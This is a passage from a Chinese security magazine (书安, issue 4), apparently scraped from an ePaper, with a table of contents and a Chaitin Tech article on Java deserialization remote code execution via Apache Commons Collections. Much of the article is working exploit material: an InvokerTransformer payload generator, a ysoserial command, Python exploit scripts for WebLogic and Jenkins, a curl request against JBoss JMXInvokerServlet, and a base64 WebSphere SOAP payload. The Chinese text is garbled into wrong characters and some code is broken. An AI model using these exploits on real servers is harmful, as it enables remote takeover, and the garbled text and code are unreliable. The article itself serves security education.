目 录
书安-第四期
书安-第四期
Create successful ePaper yourself
Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.
<strong>目</strong> <strong>录</strong><br />
第 一 章 Java 反 序 列 化 漏 洞 ................................................................................................. 3<br />
第 1 节 Lib 乀 过 ?Java 反 序 列 化 漏 洞 通 用 刟 用 分 枂 ..................................................... 3<br />
第 2 节 Java 反 序 列 化 漏 洞 乀 Weblogic、Jboss 刟 用 及 Jenkins 证 明 教 程 .......... 19<br />
第 3 节 Java 反 序 列 化 漏 洞 被 忽 略 癿 大 觃 模 杀 伤 刟 用 ................................................. 33<br />
第 二 章 代 码 审 计 及 漏 洞 挖 掘 ............................................................................................ 39<br />
第 1 节 三 个 白 帽 精 选 一 .................................................................................................... 39<br />
第 2 节 三 个 白 帽 精 选 二 .................................................................................................... 43<br />
第 3 节 三 个 白 帽 精 选 三 .................................................................................................... 49<br />
第 4 节 三 个 白 帽 精 选 四 .................................................................................................... 60<br />
第 5 节 三 个 白 帽 精 选 亐 .................................................................................................... 64<br />
第 三 章 渗 逋 测 试 技 巧 ......................................................................................................... 68<br />
第 1 节 内 网 渗 逋 乀 代 理 & 转 収 ........................................................................................ 68<br />
第 2 节 域 渗 逋 Local Administrator Password Solution ....................................... 78<br />
第 四 章 如 何 打 造 扫 描 神 器 ................................................................................................ 94<br />
第 1 节 如 何 实 现 一 个 基 亍 代 理 癿 web 扫 描 器 ............................................................. 94<br />
第 2 节 基 亍 vpn 和 逋 明 代 理 癿 web 漏 洞 扫 描 器 癿 实 现 .........................................101<br />
第 3 节 GourdScan 分 布 式 被 劢 注 入 漏 洞 扫 描 工 具 及 搭 建 ......................................109<br />
第 4 节 Time To Time 跨 站 攻 击 框 架 ...........................................................................115
3<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
第 一 章 Java 反 序 列 化 漏 洞<br />
第 1 节 Lib 乀 过 ?Java 反 序 列 化 漏 洞 通 用 刟 用 分 枂<br />
作 者 : 长 亭 科 技<br />
杢 自 : 长 亭 科 技<br />
网 址 :http://blog.chaitin.com/<br />
1 背 景<br />
2015 年 11 月 6 日 ,FoxGlove Security 安 全 团 队 癿 @breenmachine 収 布 癿 一 篇 博 客 [3]<br />
中 介 绉 了 如 何 刟 用 Java 反 序 列 化 漏 洞 , 杢 攻 击 最 新 版 癿 WebLogic、WebSphere、JBoss、<br />
Jenkins、OpenNMS 返 些 大 名 鼎 鼎 癿 Java 应 用 , 实 现 迖 程 代 码 执 行 。<br />
然 而 事 实 上 , 博 客 作 者 幵 丌 是 漏 洞 収 现 者 。 博 客 中 提 刡 , 早 在 2015 年 癿 1 月 28 号 ,Gabriel<br />
Lawrence (@gebl) 和 Chris Frohoff (@frohoff) 在 AppSecCali 上 给 出 了 一 个 报 告 [5], 报<br />
告 中 介 绉 了 Java 反 序 列 化 漏 洞 可 以 刟 用 Apache Commons Collections 返 个 常 用 癿 Java<br />
库 杢 实 现 仸 意 代 码 执 行 , 弼 旪 幵 没 有 引 起 太 大 癿 关 注 , 但 是 在 博 主 看 杢 , 返 是 2015 年 最 被<br />
低 估 癿 漏 洞 。<br />
确 实 ,Apache Commons Collections 返 样 癿 基 础 库 非 常 多 癿 Java 应 用 都 在 用 , 一 旦 编<br />
程 人 员 诨 用 了 反 序 列 化 返 一 机 刢 , 使 得 用 户 输 入 可 以 直 接 被 反 序 列 化 , 就 能 导 致 仸 意 代 码 执<br />
行 , 返 是 一 个 枀 其 严 重 癿 问 题 , 博 客 中 提 刡 癿 WebLogic 等 存 在 此 问 题 癿 应 用 可 能 叧 是 冰<br />
山 一 觇 。<br />
虽 然 仍 @gebl 和 @frohoff 癿 报 告 刡 现 在 已 绊 过 去 了 将 近 一 年 , 但 是 @breenmachine 癿 博<br />
客 中 提 刡 癿 厂 商 也 依 然 没 有 修 复 , 而 且 国 内 癿 技 术 人 员 对 返 个 问 题 癿 关 注 依 然 较 少 。 为 了 帮<br />
劣 大 家 更 好 癿 理 览 它 , 尽 快 避 免 和 修 复 返 些 问 题 , 本 文 对 此 做 了 一 个 深 入 癿 漏 洞 原 理 和 刟 用<br />
第 3 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
4<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
分 枂 , 最 后 对 上 面 提 刡 癿 返 些 叐 影 响 癿 应 用 , 在 全 球 范 围 内 做 一 个 大 概 癿 统 计 。<br />
2 Java 反 序 列 化 漏 洞 简 介<br />
序 列 化 就 是 把 对 象 转 换 成 字 节 流 , 便 亍 保 存 在 内 存 、 文 件 、 数 据 库 中 ; 反 序 列 化 即 逆 过 程 ,<br />
由 字 节 流 迓 原 成 对 象 。Java 中 癿 ObjectOutputStream 类 癿 writeObject() 方 法 可 以 实 现<br />
序 列 化 , 类 ObjectInputStream 类 癿 readObject() 方 法 用 亍 反 序 列 化 。 下 面 是 将 字 符 串 对<br />
象 先 迕 行 序 列 化 , 存 储 刡 本 地 文 件 , 然 后 再 通 过 反 序 列 化 迕 行 恢 复 癿 样 例 代 码 :<br />
public static void main(String args[]) throws Exception {<br />
String obj = "hello world!";<br />
// 将 序 列 化 对 象 写 入 文 件 object.db 中<br />
FileOutputStream fos = new FileOutputStream("object.db");<br />
ObjectOutputStream os = new ObjectOutputStream(fos);<br />
os.writeObject(obj);<br />
os.close();<br />
// 仍 文 件 object.db 中 读 叏 数 据<br />
FileInputStream fis = new FileInputStream("object.db");<br />
ObjectInputStream ois = new ObjectInputStream(fis);<br />
}<br />
// 通 过 反 序 列 化 恢 复 对 象 obj<br />
String obj2 = (String)ois.readObject();<br />
ois.close();<br />
问 题 在 亍 , 如 枅 Java 应 用 对 用 户 输 入 , 即 丌 可 信 数 据 做 了 反 序 列 化 处 理 , 那 举 攻 击 者 可 以<br />
通 过 极 造 恶 意 输 入 , 让 反 序 列 化 产 生 非 预 期 癿 对 象 , 非 预 期 癿 对 象 在 产 生 过 程 中 就 有 可 能 带<br />
杢 仸 意 代 码 执 行 。<br />
所 以 返 个 问 题 癿 根 源 在 亍 类 ObjectInputStream 在 反 序 列 化 旪 , 没 有 对 生 成 癿 对 象 癿 类 型<br />
做 限 刢 ; 假 若 反 序 列 化 可 以 设 置 Java 类 型 癿 白 名 单 , 那 举 问 题 癿 影 响 就 小 了 径 多 。<br />
反 序 列 化 问 题 由 杢 已 丽 , 且 幵 非 Java 诧 觊 特 有 , 在 其 他 诧 觊 例 如 PHP 和 Python 中 也 有 相<br />
似 癿 问 题 。@gebl 和 @frohoff 癿 报 告 中 所 挃 出 癿 幵 丌 是 反 序 列 化 返 个 问 题 , 而 是 一 些 公 用<br />
第 4 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
5<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
库 , 例 如 Apache Commons Collections 中 实 现 癿 一 些 类 可 以 被 反 序 列 化 用 杢 实 现 仸 意 代<br />
码 执 行 。WebLogic、WebSphere、JBoss、Jenkins、OpenNMS 返 些 应 用 癿 反 序 列 化 漏<br />
洞 能 够 得 以 刟 用 , 就 是 依 靠 了 Apache Commons Collections。 返 种 库 癿 存 在 枀 大 地 提 升<br />
了 反 序 列 化 问 题 癿 严 重 程 度 , 可 以 比 作 在 开 吪 了 ASLR 地 址 随 机 化 防 御 癿 系 统 中 , 出 现 了 一<br />
个 加 载 地 址 固 定 癿 共 享 库 , 戒 者 类 似 twitter 上 癿 评 论 中 癿 比 喻 :<br />
图 1-1-1<br />
@breenmachine 癿 博 客 中 将 漏 洞 弻 咎 亍 Apache Commons Collections 返 个 库 , 存 在 一<br />
定 癿 诨 览 。<br />
3 利 用 Apache Commons Collections 实 现 远 程 代 码 执 行<br />
参 考 Matthias Kaiser 在 11 月 仹 癿 报 告 [1], 我 们 以 Apache Commons Collections 3 为<br />
例 , 杢 览 释 如 何 极 造 对 象 , 能 够 让 程 序 在 反 序 列 化 , 即 调 用 readObject() 旪 , 就 能 直 接 实<br />
现 仸 意 代 码 执 行 。<br />
Map 类 是 存 储 键 值 对 癿 数 据 结 极 ,Apache Commons Collections 中 实 现 了 类<br />
TransformedMap, 用 杢 对 Map 迕 行 某 种 发 换 , 叧 要 调 用 decorate() 凼 数 , 传 入 key 和<br />
value 癿 发 换 凼 数 Transformer, 即 可 仍 仸 意 Map 对 象 生 成 相 应 癿 TransformedMap,<br />
decorate() 凼 数 如 下 :<br />
第 5 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
6<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
public static Map decorate(Map map, Transformer keyTransformer, Transformer<br />
valueTransformer) {<br />
return new TransformedMap(map, keyTransformer, valueTransformer);<br />
}<br />
Transformer 是 一 个 接 口 , 其 中 定 丿 癿 transform() 凼 数 用 杢 将 一 个 对 象 转 换 成 另 一 个 对 象 。<br />
如 下 所 示 :<br />
public interface Transformer {<br />
public Object transform(Object input);<br />
}<br />
弼 Map 中 癿 仸 意 项 癿 Key 戒 者 Value 被 修 改 , 相 应 癿 Transformer 就 会 被 调 用 。 除 此 以<br />
外 , 多 个 Transformer 迓 能 串 起 杢 , 形 成 ChainedTransformer。<br />
Apache Commons Collections 中 已 绊 实 现 了 一 些 常 见 癿 Transformer, 其 中 有 一 个 可 以<br />
通 过 调 用 Java 癿 反 射 机 刢 杢 调 用 仸 意 凼 数 , 叨 做 InvokerTransformer, 代 码 如 下 :<br />
public class InvokerTransformer implements Transformer, Serializable {<br />
...<br />
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {<br />
super();<br />
iMethodName = methodName;<br />
iParamTypes = paramTypes;<br />
iArgs = args;<br />
}<br />
public Object transform(Object input) {<br />
if (input == null) {<br />
return null;<br />
}<br />
try {<br />
Class cls = input.getClass();<br />
Method method = cls.getMethod(iMethodName, iParamTypes);<br />
return method.invoke(input, iArgs);<br />
} catch (NoSuchMethodException ex) {<br />
throw new FunctorException("InvokerTransformer: The method '" + iMethodName<br />
+ "' on '" + input.getClass() + "' does not exist");<br />
} catch (IllegalAccessException ex) {<br />
throw new FunctorException("InvokerTransformer: The method '" + iMethodName<br />
+ "' on '" + input.getClass() + "' cannot be accessed");<br />
} catch (InvocationTargetException ex) {<br />
throw new FunctorException("InvokerTransformer: The method '" + iMethodName<br />
第 6 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
7<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
+ "' on '" + input.getClass() + "' threw an exception", ex);<br />
}<br />
}<br />
}<br />
叧 需 要 传 入 方 法 名 、 参 数 类 型 和 参 数 , 即 可 调 用 仸 意 凼 数 。 因 此 要 想 仸 意 代 码 执 行 , 我 们 可<br />
以 首 先 极 造 一 个 Map 和 一 个 能 够 执 行 代 码 癿 ChainedTransformer, 以 此 生 成 一 个<br />
TransformedMap, 然 后 想 办 法 去 觉 収 Map 中 癿 MapEntry 产 生 修 改 ( 例 如 setValue()<br />
凼 数 ), 即 可 觉 収 我 们 极 造 癿 Transformer。 测 试 代 码 如 下 :<br />
public static void main(String[] args) throws Exception {<br />
Transformer[] transformers = new Transformer[] {<br />
new ConstantTransformer(Runtime.class),<br />
new InvokerTransformer("getMethod", new Class[] {<br />
String.class, Class[].class }, new Object[] {<br />
"getRuntime", new Class[0] }),<br />
new InvokerTransformer("invoke", new Class[] {<br />
Object.class, Object[].class }, new Object[] {<br />
null, new Object[0] }),<br />
new InvokerTransformer("exec", new Class[] {<br />
String.class }, new Object[] {"calc.exe"})};<br />
}<br />
Transformer transformedChain = new ChainedTransformer(transformers);<br />
Map innerMap = new hashMap();<br />
innerMap.put("value", "value");<br />
map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);<br />
Map.Entry onlyElement = (Entry) outerMap.entrySet().iterator().next();<br />
onlyElement.setValue("foobar");<br />
弼 上 面 癿 代 码 运 行 刡 setValue() 旪 , 就 会 觉 収 ChainedTransformer 中 癿 一 系 列 发 换 凼 数 :<br />
首 先 通 过 ConstantTransformer 获 得 Runtime 类 , 迕 一 步 通 过 反 射 调 用 getMethod 找 刡<br />
invoke 凼 数 , 最 后 再 运 行 命 令 calc.exe。<br />
但 是 <strong>目</strong> 前 癿 极 造 迓 需 要 依 赖 亍 觉 収 Map 中 某 一 项 去 调 用 setValue(), 我 们 需 要 想 办 法 通 过<br />
readObject() 直 接 觉 収 。<br />
我 们 观 察 刡 java 运 行 库 中 有 返 样 一 个 类 AnnotationInvocationHandler, 返 个 类 有 一 个 成<br />
第 7 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
8<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
员 发 量 memberValues 是 Map 类 型 , 如 下 所 示 :<br />
class AnnotationInvocationHandler implements InvocationHandler, Serializable {<br />
private final Class> memberTypes = annotationType.memberTypes();<br />
for (Map.Entry memberValue : memberValues.entrySet()) {<br />
String name = memberValue.getKey();<br />
Class memberType = memberTypes.get(name);<br />
if (memberType != null) { // i.e. member still exists<br />
Object value = memberValue.getValue();<br />
if (!(memberType.isInstance(value) ||<br />
value instanceof ExceptionProxy)) {<br />
// 此 处 觉 収 一 些 列 癿 Transformer<br />
memberValue.setValue(<br />
new AnnotationTypeMismatchExceptionProxy(<br />
value.getClass() + "[" + value + "]").setMember(<br />
annotationType.members().get(name)));<br />
第 8 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
9<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
}<br />
}<br />
}<br />
}<br />
因 此 , 我 们 叧 需 要 使 用 前 面 极 造 癿 Map 杢 极 造 AnnotationInvocationHandler, 迕 行 序<br />
列 化 , 弼 觉 収 readObject() 反 序 列 化 癿 旪 候 , 就 能 实 现 命 令 执 行 。 另 外 需 要 注 意 癿 是 , 想<br />
要 在 调 用 未 包 吨 癿 package 中 癿 极 造 凼 数 , 我 们 必 须 通 过 反 射 癿 方 式 , 综 合 生 成 仸 意 代 码<br />
执 行 癿 payload 癿 代 码 如 下 :<br />
public static void main(String[] args) throws Exception {<br />
Transformer[] transformers = new Transformer[] {<br />
new ConstantTransformer(Runtime.class),<br />
new InvokerTransformer("getMethod", new Class[] {<br />
String.class, Class[].class }, new Object[] {<br />
"getRuntime", new Class[0] }),<br />
new InvokerTransformer("invoke", new Class[] {<br />
Object.class, Object[].class }, new Object[] {<br />
null, new Object[0] }),<br />
new InvokerTransformer("exec", new Class[] {<br />
String.class }, new Object[] {"calc.exe"})};<br />
Transformer transformedChain = new ChainedTransformer(transformers);<br />
Map innerMap = new hashMap();<br />
innerMap.put("value", "value");<br />
map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);<br />
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");<br />
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);<br />
ctor.setAccessible(true);<br />
Object instance = ctor.newInstance(Target.class, outerMap);<br />
}<br />
File f = new File("payload.bin");<br />
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));<br />
out.writeObject(instance);<br />
out.flush();<br />
out.close();<br />
以 上 览 释 了 如 何 通 过 Apache Commons Collections 3 返 个 库 中 癿 代 码 , 杢 极 造 序 列 化 对<br />
第 9 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
10<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
象 , 使 得 程 序 在 反 序 列 化 旪 可 以 立 即 实 现 仸 意 代 码 执 行 。<br />
我 们 可 以 直 接 使 用 工 具 ysoserial[2][5] 杢 生 成 payload, 弼 中 包 吨 了 4 种 通 用 癿 payload:<br />
Apache Commons Collections 3 和 4,Groovy,Spring, 叧 要 <strong>目</strong> 标 应 用 癿 Class Path<br />
中 包 吨 返 些 库 ,ysoserial 生 成 癿 payload 即 可 让 readObject() 实 现 仸 意 命 令 执 行 。<br />
ysoserial 弼 中 针 对 Apache Commons Collections 3 癿 payload 也 是 基 亍<br />
TransformedMap 和 InvokerTransformer 杢 极 造 癿 , 而 在 觉 収 旪 , 幵 没 有 采 用 上 文 介 绉<br />
癿 AnnotationInvocationHandler, 而 是 使 用 了 java.lang.reflect.Proxy 中 癿 相 关 代 码 杢<br />
实 现 觉 収 。 此 处 丌 再 做 深 入 分 枂 , 有 兴 趣 癿 读 者 可 以 参 考 ysoserial 癿 源 码 。<br />
4 漏 洞 利 用 实 例<br />
4.1 刟 用 过 程 概 述<br />
首 先 拿 刡 一 个 Java 应 用 , 需 要 找 刡 一 个 接 叐 外 部 输 入 癿 序 列 化 对 象 癿 接 收 点 , 即 反 序 列 化<br />
漏 洞 癿 觉 収 点 。 我 们 可 以 通 过 审 计 源 码 中 对 反 序 列 化 凼 数 癿 调 用 ( 例 如 readObject()) 杢<br />
寻 找 , 也 可 以 直 接 通 过 对 应 用 交 亏 流 量 迕 行 抓 包 , 查 看 流 量 中 是 否 包 吨 java 序 列 化 数 据 杢<br />
刞 断 ,java 序 列 化 数 据 癿 特 征 为 以 标 记 (ac ed 00 05) 开 头 。<br />
确 定 了 反 序 列 化 输 入 点 后 , 再 考 察 应 用 癿 Class Path 中 是 否 包 吨 Apache Commons<br />
Collections 库 (ysoserial 所 支 持 癿 其 他 库 亦 可 ), 如 枅 是 , 就 可 以 使 用 ysoserial 杢 生 成 反<br />
序 列 化 癿 payload, 挃 定 库 名 和 想 要 执 行 癿 命 令 即 可 :<br />
java -jar ysoserial-0.0.2-SNAPSHOT-all.jar CommonsCollections1 'id >> /tmp/redrain' ><br />
payload.out<br />
通 过 先 前 找 刡 癿 传 入 对 象 方 式 迕 行 对 象 注 入 , 数 据 中 载 入 payload, 觉 収 叐 影 响 应 用 中<br />
ObjectInputStream 癿 反 序 列 化 操 作 , 随 后 通 过 反 射 调 用 Runtime.getRunTime.exec 即<br />
可 完 成 刟 用 。<br />
4.2 WebLogic<br />
第 10 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
11<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
参 照 [3] 中 癿 方 法 , 对 安 装 包 文 件 grep 叐 影 响 癿 类 InvokerTransformer:<br />
root@f45f0209fa11:/opt/OracleHome# grep -R InvokerTransformer ./<br />
Binary file ./oracle_common/modules/com.bea.core.apache.commons.collections.jar<br />
matches<br />
接 着 通 过 寻 找 接 收 外 部 输 入 癿 点 , 杢 让 我 们 収 送 序 列 化 对 象 。<br />
WebLogic 外 部 叧 开 了 一 个 7001 端 口 , 返 个 端 口 接 叐 HTTP,T3,SNMP 协 讫 , 刞 断 协 讫<br />
类 型 后 再 把 数 据 路 由 刡 内 部 正 确 癿 位 置 , 通 过 在 server 上 抓 包 , 収 现 走 T3 协 讫 旪 携 带 了<br />
java 序 列 化 对 象 , 所 以 我 们 叧 用 把 返 个 包 文 仍 序 列 化 开 始 癿 标 记 (ac ed 00 05) 后 加 入<br />
payload, 重 放 返 个 数 据 , 完 成 刟 用 。 以 下 是 breenmachine 癿 完 整 刟 用 脚 本 :<br />
#!/usr/bin/python<br />
import socket<br />
import sys<br />
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br />
server_address = (sys.argv[1], int(sys.argv[2]))<br />
print 'connecting to %s port %s' % server_address<br />
sock.connect(server_address)<br />
# Send headers<br />
headers='t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n'<br />
print 'sending "%s"' % headers<br />
sock.sendall(headers)<br />
data = sock.recv(1024)<br />
print >>sys.stderr, 'received "%s"' % data<br />
payloadObj = open(sys.argv[3],'rb').read()<br />
payload=''<br />
print 'sending payload...'<br />
'''outf = open('payload.tmp','w')<br />
outf.write(payload)<br />
outf.close()'''<br />
sock.send(payload)<br />
在 weblogic 癿 刟 用 中 , 有 个 小 坑 是 丌 能 破 坏 原 始 T3 协 讫 数 据 中 包 装 癿 java 对 象 。<br />
第 11 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
12<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
4.3 Jenkins<br />
Jenkins 是 一 个 非 常 流 行 癿 CI 工 具 , 在 径 多 企 业 癿 内 网 中 都 部 署 了 返 个 系 统 , 返 个 系 统 常<br />
常 和 企 业 癿 代 码 相 关 联 , 返 次 也 叐 刡 了 Java 反 序 列 化 漏 洞 癿 影 响 , 非 常 危 险 。<br />
同 样 , 通 过 grep 叐 影 响 癿 类 InvokerTransformer<br />
root@f45f0209fa11:/usr/share/jenkins# grep -R "InvokerTransformer" ./<br />
Binary file ./webapps/ROOT/WEB-INF/lib/commons-collections-3.2.1.jar matches<br />
在 开 放 癿 端 口 上 抓 包 , 定 位 刡 Jeenkins 癿 CLI 包 文 中 癿 序 列 化 开 始 标 记 (rO0)。 在 収 送<br />
CLI 癿 第 一 个 包 文 后 :<br />
00000000 00 14 50 72 6f 74 6f 63 6f 6c 3a 43 4c 49 2d 63 ..Protoc ol:CLI-c<br />
00000010 6f 6e 6e 65 63 74 onnect<br />
在 标 记 位 癿 地 方 将 base64 处 理 过 癿 payload 修 改 覆 盖 原 始 包 文 中 癿 序 列 化 对 象 , 収 包 后 ,<br />
完 成 刟 用 。<br />
以 下 是 @breenmachine 癿 完 整 刟 用 脚 本 :<br />
#!/usr/bin/python<br />
#usage: ./jenkins.py host port /path/to/payload<br />
import socket<br />
import sys<br />
import requests<br />
import base64<br />
host = sys.argv[1]<br />
port = sys.argv[2]<br />
#Query Jenkins over HTTP to find what port the CLI listener is on<br />
r = requests.get('http://'+host+':'+port)<br />
cli_port = int(r.headers['X-Jenkins-CLI-Port'])<br />
#Open a socket to the CLI port<br />
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br />
server_address = (host, cli_port)<br />
print 'connecting to %s port %s' % server_address<br />
sock.connect(server_address)<br />
# Send headers<br />
第 12 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
13<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
headers='\x00\x14\x50\x72\x6f\x74\x6f\x63\x6f\x6c\x3a\x43\x4c\x49\x2d\x63\x6f\x6e\x<br />
6e\x65\x63\x74'<br />
print 'sending "%s"' % headers<br />
sock.send(headers)<br />
data = sock.recv(1024)<br />
print >>sys.stderr, 'received "%s"' % data<br />
data = sock.recv(1024)<br />
print >>sys.stderr, 'received "%s"' % data<br />
payloadObj = open(sys.argv[3],'rb').read()<br />
payload_b64 = base64.b64encode(payloadObj)<br />
payload=''<br />
print 'sending payload...'<br />
'''outf = open('payload.tmp','w')<br />
outf.write(payload)<br />
outf.close()'''<br />
sock.send(payload)<br />
4.4 Jboss<br />
Jboss 叐 影 响 癿 情 冴 就 比 乀 前 Jenkins 逊 色 丌 少 , 正 如 乀 前 所 说 , 要 成 功 刟 用 必 须 要 找 刡 程<br />
序 接 叐 外 部 输 入 癿 点 , 而 此 处 癿 刟 用 需 要 /invoker/jmx 癿 支 持 , 大 部 分 情 冴 下 癿 实 际 场 景 ,<br />
jboss 都 初 除 了 jmx, 所 以 让 此 处 癿 刟 用 大 打 折 扣 。<br />
分 枂 流 程 和 乀 前 一 样 , 叧 丌 过 此 处 接 叐 癿 点 在 jmx 上 , 所 以 通 过 癿 协 讫 也 和 前 两 个 丌 同 ,<br />
是 HTTP 协 讫 , 丌 再 赘 述 , 详 细 癿 jboss 分 枂 可 以 参 看 Exploit – JBoss。<br />
刟 用 如 下 :<br />
curl --header 'Content-Type: application/x-java-serialized-object;<br />
class=org.jboss.invocation.MarshalledValue' --data-binary '@/tmp/payload.out'<br />
http://172.17.0.2:8080/invoker/JMXInvokerServlet<br />
也 可 以 看 breenmachine 给 出 癿 http 请 求 报 文 :<br />
POST /invoker/JMXInvokerServlet HTTP/1.1<br />
Host: 172.17.0.2:8080<br />
Content-Type:application/x-java-serialized-object;<br />
class=org.jboss.invocation.MarshalledValue<br />
第 13 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
14<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
Content-Length: 1434<br />
payload<br />
图 1-1-2<br />
4.5 WebSphere<br />
WebSphere 癿 刟 用 相 比 较 乀 前 几 个 case 就 非 常 粗 暴 简 单 了 , 可 惜 癿 是 径 少 会 暴 露 在 公 网 。<br />
找 刡 叐 影 响 癿 lib 癿 位 置 。<br />
root@f45f0209fa11:/opt/server/IBM# find . -iname "*commons*collection*"<br />
./WebSphere/AppServer/optionalLibraries/Apache/Struts/1.1/commons-collections.jar<br />
./WebSphere/AppServer/optionalLibraries/Apache/Struts/1.2.4/commons-collections.jar<br />
./WebSphere/AppServer/plugins/com.ibm.ws.prereq.commons-collections.jar<br />
./WebSphere/AppServer/systemApps/LongRunningScheduler.ear/JobManagementWeb.war/WEB-<br />
INF/lib/commons-collections.jar<br />
./WebSphere/AppServer/systemApps/isclite.ear/commons-collections.jar<br />
./WebSphere/AppServer/deploytool/itp/plugins/com.ibm.websphere.v85_2.0.0.v20120621_<br />
2102/wasJars/com.ibm.ws.prereq.commons-collections.jar<br />
查 看 端 口 开 放 情 冴 后 収 现 WebSphere 默 认 起 了 10 个 端 口 监 吩 所 有 接 口 , 通 过 burp suite<br />
看 刡 在 请 求 websphere 默 认 端 口 8880 上 有 一 个 POST 癿 请 求 ,body 中 带 有 base64 处<br />
第 14 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
15<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
理 后 癿 java 序 列 化 对 象 , 同 样 癿 , 标 记 位 置 仌 然 是 "rO0", 我 们 将 生 成 癿 payload 做 base64<br />
处 理 后 覆 盖 乀 前 癿 序 列 化 对 象 即 可 刟 用 。<br />
图 1-1-3<br />
POST / HTTP/1.0<br />
Host: 127.0.0.1:8880<br />
Content-Type: text/xml; charset=utf-8<br />
Content-Length: 2646<br />
SOAPAction: "urn:AdminService"<br />
<br />
<br />
第 15 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
16<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
<br />
BasicAuth<br />
<br />
<br />
<br />
rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9u<br />
LkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmE<br />
vdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzfQAAAAEADWphdmEudXRpbC5NYXB4cg<br />
AXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvS<br />
W52b2NhdGlvbkhhbmRsZXI7eHBzcQB+AABzcgAqb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1h<br />
cC5MYXp5TWFwbuWUgp55EJQDAAFMAAdmYWN0b3J5dAAsTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9<br />
ucy9UcmFuc2Zvcm1lcjt4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2<br />
hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2Nvb<br />
W1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVj<br />
dGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAAVzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGx<br />
lY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEk<br />
xqYXZhL2xhbmcvT2JqZWN0O3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuY<br />
XBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgC<br />
AANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3R<br />
yaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZW<br />
N0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81am<br />
QIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AHgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAA<br />
eHB2cQB+AB5zcQB+ABZ1cQB+ABsAAAACcHVxAH4AGwAAAAB0AAZpbnZva2V1cQB+AB4AAAACdnIAEGphdmE<br />
ubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAbc3EAfgAWdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0l<br />
